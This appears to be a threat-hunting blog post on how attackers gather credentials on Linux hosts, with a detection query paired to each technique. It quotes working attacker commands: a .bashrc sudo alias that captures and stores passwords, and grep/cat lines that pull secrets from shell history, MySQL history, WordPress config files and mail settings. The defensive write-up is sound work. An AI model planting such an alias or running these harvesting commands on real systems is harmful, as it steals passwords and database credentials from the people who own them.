419. Threat Actors Leverage Multiple Techniques to Obtain Credentials in Linux

Hello everyone!

We don't often talk about attacks targeting Linux, but I recently came across an interesting report describing several credential access techniques: Input Capture (T1056), Credentials In Files (T1552.001), and Shell History (T1552.003).

First, the attackers replaced the legitimate .bashrc file with their own version, which included a command to capture credentials:

alias sudo='echo -n "[sudo] password for $USER: " && read -r p && echo "$USER:$p" | base64 -w0 >>/dev/shm/Solarwinds.StatusLog.txt && /usr/bin/sudo $@'

We can hunt for newly created .bashrc files using the following query:

event_type: "filecreatenix"

AND

file_path: "bashrc"

Second, the attackers searched for credentials in .bash_history and .mysql_history files:

/bin/sh -c grep -r 'password|passwd|secret' /root/.bash_history 2>/dev/null; cat /root/.mysql_history 2>/dev/null | tail -30

Similar suspicious activity can be hunted for using the following query:

event_type: "processcreatenix"

AND

proc_file_path: ("grep" OR "cat")

AND

cmdline: ("bash_history" OR "mysql_history")

The attackers also searched for credentials in WordPress configuration files:

/bin/sh -c cat /home/$USER/public_html/wp-config.php | grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|table_prefix'

As in the previous case, this activity may be suspicious:

event_type: "processcreatenix"

AND

proc_file_path: "cat"

AND

cmdline: "wp-config.php"

Finally, the attackers were also interested in email passwords:

/bin/sh -c echo "<<\<SCAN_START_MARKER>>>" && grep -HrE "(?i)(?:\\"|')?(?:SMTP\_|MAIL\_|EMAIL\_)(?:PASS(?:WORD)?|PWD)(?:\\"|')?\s\*(?:[:=])\s\*[\\"']\([^\\"']{6,})[\\"']" . 2>/dev/null && echo "<<\<SCAN_END_MARKER>>>"

In this case, we can hunt for suspicious use of grep, for example:

event_type: "processcreatenix"

AND

proc_file_path: "grep"

AND

cmdline: (*pass* OR *pwd*)

See you soon!

Comments

Popular posts from this blog

343. Ransomware Gangs Abuse SystemSettingsAdminFlows to Evade Defenses

391. Hunting for TeamPCP's Stealer

388. Ransomware Gang Abuses FTK Imager for Defense Evasion